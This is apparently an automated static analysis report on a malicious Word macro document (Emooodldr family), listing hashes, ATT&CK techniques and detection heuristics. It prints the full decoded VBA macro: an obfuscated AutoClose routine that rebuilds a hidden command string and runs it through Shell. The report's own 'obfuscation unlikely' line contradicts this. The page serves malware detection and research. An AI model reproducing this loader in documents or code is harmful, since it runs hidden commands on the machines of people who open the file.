Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 f47750218afdebc3…

MALICIOUS

Office (OOXML)

54.0 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-02-26
MD5: 12b22e4f0733f2b4b9804ac3bb8e4a5a SHA-1: 2f6ff9751a790141c0e2e3b82f5dbc6e840594e9 SHA-256: f47750218afdebc37ae9462356dd5a1209a238e4228dd10001641211b91862ac
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, specifically an AutoClose macro, which utilizes the Shell() function. This indicates the document is designed to execute arbitrary commands, likely to download and run a secondary payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2114 bytes
SHA-256: ee99c6834d1ed5c1dfe9fbd78008cb50a0854eb473e62f1a0d136546fc92c7e7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function somerset(tetrafluorides)
  naphthylaminesulphonic = Array("r", "5", "m", "j", "W", "F", "s", "h", "4", "L", "v", "A", "d", "t", "2", "p", "R", "Z", "7", "8", "i", "B", "Y", "a", "K")
  epituberculosis = Array("j", "b", "i", "O", "o", "z", "a", "U", "u", "e", "/", "?", "c", "t", "x", " ", "m", "=", ".", "d", "h", "n", ":", "s", "p")
  
  parepigastric = vbNullString
  
  For Each backhauling In tetrafluorides
    outrushes = Application.Run("sulphury", backhauling, naphthylaminesulphonic)
    If outrushes > -1 And outrushes < 99212 Then
    parepigastric = epituberculosis(outrushes) + parepigastric
    End If
  Next
  
  somerset = StrReverse(parepigastric)
  
End Function

Public Function sulphury(enclitics, stodgier)

  astor = 81818
  peacockiestator = -1
  For Each smidgeon In stodgier
    If smidgeon = enclitics Then
     astor = peacockiestator
     Exit For
    End If

    peacockiestator = peacockiestator + 1
    
  Next

  
  If astor = 81818 Then
    astor = -1
  End If


  sulphury = astor + 1
End Function




Sub AutoClose()
  tetrafluorides = Array("R", "a", "i", "t", "s", "7", "L", "2", "L", "p", "i", "t", "t", "K", "Y", "v", "v", "W", "s", "m", "r", "5", "4", "F", "2", "d", "4", "B", "s", "a", "8", "r", "B", "7", "d", "W", "R", "v", "j", "h", "v", "a", "R", "m", "2", "7", "K", "i", "K", "A", "4", "t", "R", "s", "Z", "B", "B", "m", "m")
  aminize = somerset(tetrafluorides)
  
  Application.Run "resoldering", (aminize)
  
End Sub


Private Sub resoldering(throstles)
   
   cribbing = 69172
   soaked = True
   
   While soaked
     lusterware = cribbing + 91723
     If lusterware - cribbing > 297 Then
       VBA.Shell throstles, vbNormalFocus - 1
       soaked = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 4738a2216ab8ac6cfb760fab123a97f27098ec37c944cdd7cb9d7fe968d55002
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely